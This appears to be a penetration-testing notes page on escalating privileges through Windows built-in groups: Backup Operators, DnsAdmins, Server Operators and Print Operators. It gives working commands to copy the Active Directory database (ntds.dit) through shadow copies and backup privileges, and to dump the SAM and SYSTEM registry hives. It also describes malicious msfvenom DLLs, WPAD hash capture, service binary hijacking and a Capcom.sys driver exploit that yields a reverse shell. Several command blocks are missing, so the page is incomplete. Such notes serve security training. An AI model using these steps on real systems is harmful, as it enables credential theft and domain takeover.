Windows Group Privileges

Backup Operators

Membership of this group grants its members the SeBackup and SeRestore privileges. The SeBackupPrivilege allows us to traverse any folder and list the folder contents.

Importing Libraries

We can use this PoC to exploit the SeBackupPrivilege, and copy this file. First, let's import the libraries in a PowerShell session.

PS> Import-Module .\SeBackupPrivilegeUtils.dll
PS> Import-Module .\SeBackupPrivilegeCmdLets.dll

Verifying SeBackupPrivilege is Enabled

PS> whoami /all
PS> Get-SeBackupPrivilege

## Enabling the SeBackupPrivilege
PS> Set-SeBackupPrivilege

Copying a Protected File

PS> Copy-FileSeBackupPrivilege '<path> <file>' .\file.txt

## Using Diskshadow
DISKSHADOW> set verbose on
DISKSHADOW> set metadata C:\Windows\Temp\meta.cab
DISKSHADOW> set context clientaccessible
DISKSHADOW> set context persistent
DISKSHADOW> begin backup
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% E:
DISKSHADOW> end backup
DISKSHADOW> exit

PS> Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

## Backing up SAM and SYSTEM Registry Hives
reg save HKLM\SYSTEM system.hive
reg save HKLM\SAM sam.hive

## Copying files with RoboCopy
cmd> robocopy /B E:\Windows\NTDS .\ntds ntds.dit

Event Log Readers

Members of this group can read event logs from local machine

Searching Security Logs Using wevtutil

Searching Security Logs Using Get-WinEvent

Searching the Security event log with Get-WInEvent requires administrator access or permissions adjusted on the registry key HKLM\System\CurrentControlSet\Services\Eventlog\Security. Membership in just the Event Log Readers group is not sufficient.

For Get-WinEvent, the syntax is as follows. In this example, we filter for process creation events (4688), which contain /user in the process command line.

DnsAdmins

Members of the DnsAdmins group have access to DNS information on the network. The DNS service runs as NT AUTHORITY\SYSTEM, so membership in this group could potentially be leveraged to escalate privileges on a Domain Controller or in a situation where a separate server is acting as the DNS server for the domain.

Creating a malicious DLL

In the attacker machine we can generate a malicious DLL to add a user to the domain admins group using msfvenom.

Creating a WPAD Record

Another way to abuse DnsAdmins group privileges is by creating a WPAD record. Membership in this group gives us the rights to disable global query block security, which by default blocks this attack.

After disabling the global query block list and creating a WPAD record, every machine running WPAD with default settings will have its traffic proxied through our attack machine. We could use a tool such as Responder or Inveigh to perform traffic spoofing, and attempt to capture password hashes and crack them offline or perform an SMBRelay attack.

To set up this attack, we first disabled the global query block list using PowerShell.

Next, we add a WPAD record pointing to our attack machine.

Server Operators

The Server Operators group allows members to administer Windows servers without needing assignment of Domain Admin privileges. Membership of this group confers the powerful SeBackupPrivilege and SeRestorePrivilege privileges and the ability to control local services.

Querying the Service

Find the services running as SYSTEM

First of all, we have to confirm if the service starts as SYSTEM, for it we can use sc.exe utility.

We can use the service viewer/controller PsService, which is part of the Sysinternals suite, to check permissions on the service

If we have SERVICE_ALL_ACCESS access right, which gives us full control over this service.

Modifying the Service Binary Path

Let's change the binary path to execute a command which adds our current user to the default local administrators group.

And finally start the service

The Print Operators group is a highly privileged group in Windows that grants its members several significant permissions, including:

  • SeLoadDriverPrivilege: Allows members to load and manage system drivers.

  • The ability to manage, create, share, and delete printers connected to a Domain Controller.

  • The ability to log on locally to a Domain Controller and shut it down.

Given these privileges, members of this group can load system drivers, enabling them to exploit the system further.

Using Capcom.sys for Privilege Escalation

The Capcom.sys driver is a well-known driver that allows users to execute shell code with system privileges. This driver can be particularly useful for escalating privileges in a Windows environment.

Download the Capcom.sys Driver

The Capcom.sys driver can be downloaded from the following GitHub repository:

Additionally, you can find useful tools such as LoadDriver.ex and ExploitCapcom.exe in the following repository:

Create a Malicious Executable:

Using msfvenom, create a malicious executable (e.g., rev.exe) that will provide a reverse shell when executed. This executable will be run with elevated privileges after loading the Capcom.sys driver.

Load the Capcom.sys Driver:

Use the LoadDriver.exe tool to load the Capcom.sys driver. The command syntax is as follows:

Upon successful execution, this command should return NTSTATUS: 00000000, WinError: 0. If it does not, check the location of Capcom.sys or ensure that you are executing LoadDriver.exe from the correct directory.

Execute the Malicious Executable:

After successfully loading the driver, use ExploitCapcom.exe to execute your malicious executable with elevated privileges:

This command runs the rev.exe file with system privileges, providing the attacker with a reverse shell.

Last updated